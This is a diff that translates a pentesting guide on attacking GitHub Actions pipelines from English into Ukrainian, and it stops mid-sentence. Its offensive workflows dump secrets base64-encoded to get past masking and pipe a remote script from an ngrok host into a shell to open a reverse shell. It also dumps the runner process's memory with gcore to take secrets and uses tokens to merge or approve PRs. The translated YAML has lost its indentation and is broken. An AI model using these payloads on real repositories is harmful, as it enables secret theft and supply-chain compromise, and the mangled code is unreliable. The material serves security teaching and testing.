[**Github Actions перевірте основну інформацію**](../basic-github-information.md#github-actions). -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви можете: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **Викрасти секрети**, змонтовані до конвеєра, та **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP. +- **Скомпрометувати розгортання** та інші **артефакти**. +- Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання. +- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотування до інших систем. +- **Перезаписати код репозиторію**, залежно від дозволів, пов'язаних з `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Цей "**секрет**" (який походить з `${{ secrets.GITHUB_TOKEN }}` та `${{ github.token }}`) надається, коли адміністратор активує цю опцію:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Цей токен є тим самим, який буде використовувати **Github Application**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github повинен випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Ви можете побачити можливі **дозволи** цього токена за адресою: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Зверніть увагу, що токен **закінчує термін дії після завершення роботи**.\ +Ці токени виглядають так: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Деякі цікаві речі, які ви можете зробити з цим токеном: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="Схвалити PR" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="Створити PR" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> Зверніть увагу, що в кількох випадках ви зможете знайти **токени користувачів github всередині середовищ Github Actions або в секретах**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
-List secrets in Github Action output - +Список секретів у виході Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Отримати зворотний шелл з секретами ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +Можливо перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій:
-## Allowed Execution +## Дозволене виконання > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до **створення нового репозиторію в організації** або є **права на запис у репозиторії**. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Якщо ви в цій ситуації, ви можете просто перевірити [техніки постексплуатації](./#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Виконання з створення репозиторію -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +У випадку, якщо члени організації можуть **створювати нові репозиторії** і ви можете виконувати github дії, ви можете **створити новий репозиторій і вкрасти секрети, встановлені на рівні організації**. -### Execution from a New Branch +### Виконання з нової гілки -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Якщо ви можете **створити нову гілку в репозиторії, який вже містить налаштовану Github Action**, ви можете **модифікувати** її, **завантажити** вміст, а потім **виконати цю дію з нової гілки**. Таким чином, ви можете **екстрагувати секрети на рівні репозиторію та організації** (але вам потрібно знати, як вони називаються). +Ви можете зробити модифіковану дію виконуваною **вручну,** коли **створюється PR** або коли **якийсь код завантажується** (залежно від того, наскільки помітними ви хочете бути): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- ## Forked Execution > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Існують різні тригери, які можуть дозволити зловмиснику **виконати Github Action з іншого репозиторію**. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це **перше** співробітництво, деякий **керівник** повинен **схвалити** **виконання** робочого процесу:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> Оскільки **за замовчуванням обмеження** стосується **нових** учасників, ви можете внести **виправлення дійсної помилки/друкарської помилки** і потім надіслати **інші PR, щоб зловживати вашими новими привілеями `pull_request`**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Я це протестував, і це не працює**: ~~Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Більше того, за замовчуванням **запобігає запису прав** і **доступу до секретів** цільового репозиторію, як зазначено в [**документації**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю** під час тригера робочого процесу з **форкнутого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з форкнутого репозиторію**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у `GITHUB_TOKEN`, зловмисник може, наприклад, **завантажити шкідливі артефакти**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +Тригер робочого процесу **`pull_request_target`** має **права на запис** до цільового репозиторію та **доступ до секретів** (і не запитує дозволу). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в контексті, наданому PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей [**пост у блозі github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +Це може виглядати так, ніби **виконуваний робочий процес** є тим, що визначено в **базі**, а **не в PR**, тому це **безпечно** використовувати **`pull_request_target`**, але є **кілька випадків, коли це не так**. -An this one will have **access to secrets**. +І цей тригер матиме **доступ до секретів**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запустити робочий процес з іншого, коли він `завершено`, `запитано` або `в процесі`. +У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести": ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` - Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Цей тип робочого процесу може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\ +Другий полягає в **передачі** артефакту з **недовіреного** коду до **`workflow_run`** робочого процесу та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Перевірити, чи при виконанні з `pull_request` використовується/завантажується код з оригіналу чи з форкнутого PR -## Abusing Forked Execution +## Зловживання виконанням з форку -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте подивимося, як ці виконання, якщо погано налаштовані, можуть бути зловживані: -### Untrusted checkout execution +### Виконання недовіреного чекауту -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +У випадку **`pull_request`,** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](./#pull_request). -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконано, тому **атакуючий не може контролювати виконуваний код**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):
# INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та посилання на **пакети контролюються автором PR**. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування завдань для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR). -### Context Script Injections +### Впровадження скриптів у контекст -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Зверніть увагу, що є певні [**контексти github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** **користувачем**, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **випадкового виконання коду:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **Впровадження скриптів GITHUB_ENV** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +З документів: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Якщо атакуючий зможе **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, такі як **LD_PRELOAD** або **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) та [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
-### Vulnerable Third Party Github Actions +### Вразливі сторонні дії Github #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Як згадано в [**цьому блозі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ця дія Github дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту. +Приклад вразливого робочого процесу: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +Це можна атакувати за допомогою цього робочого процесу: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## Інший зовнішній доступ -### Deleted Namespace Repo Hijacking +### Викрадення видаленого репозиторію простору імен -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як той, що був видалений. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Тут ви маєте більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## Пивотинг репозиторіїв > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> У цьому розділі ми поговоримо про техніки, які дозволять **пивотити з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ). -### Cache Poisoning +### Отруєння кешу -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Кеш підтримується між **виконаннями робочого процесу в одному гілці**. Це означає, що якщо зловмисник **скомпрометує** **пакет**, який потім зберігається в кеші і **завантажується** та виконується більш **привілейованим** робочим процесом, він зможе також **скомпрометувати** цей робочий процес. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Отруєння артефактів -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Робочі процеси можуть використовувати **артефакти з інших робочих процесів і навіть репозиторіїв**, якщо зловмисник зможе **скомпрометувати** Github Action, яка **завантажує артефакт**, що пізніше використовується іншим робочим процесом, він може **скомпрометувати інші робочі процеси**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Постексплуатація з дії -### Accessing AWS and GCP via OIDC +### Доступ до AWS та GCP через OIDC -Check the following pages: +Перевірте наступні сторінки: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Доступ до секретів -If you are injecting content into a script it's interesting to know how you can access secrets: +Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Якщо секрет або токен встановлено в **змінну середовища**, його можна безпосередньо отримати через середовище, використовуючи **`printenv`**.
-List secrets in Github Action output - +Список секретів у виході Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Отримати зворотний шелл з секретами ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний. +- ```bash +cat /home/runner/work/_temp/* +``` +- Для JavaScript дій секрети передаються через змінні середовища +- ```bash +ps axe | grep node +``` +- Для **кастомної дії** ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з **аргументу**: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Зловживання самостійно розгорнутими виконавцями -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +Спосіб знайти, які **Github Actions виконуються в не-Github інфраструктурі**, - це шукати **`runs-on: self-hosted`** в конфігураційному yaml файлі Github Action. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**Самостійно розгорнуті** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **більше ніж одна дія може виконуватися одночасно** і зловмисна може **вкрасти секрети** іншої. +У самостійно розгорнуті виконавці також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` - -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Перевірте [**цей пост для отримання додаткової інформації**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -It's possible to make Github actions that will **build and store a Docker image inside 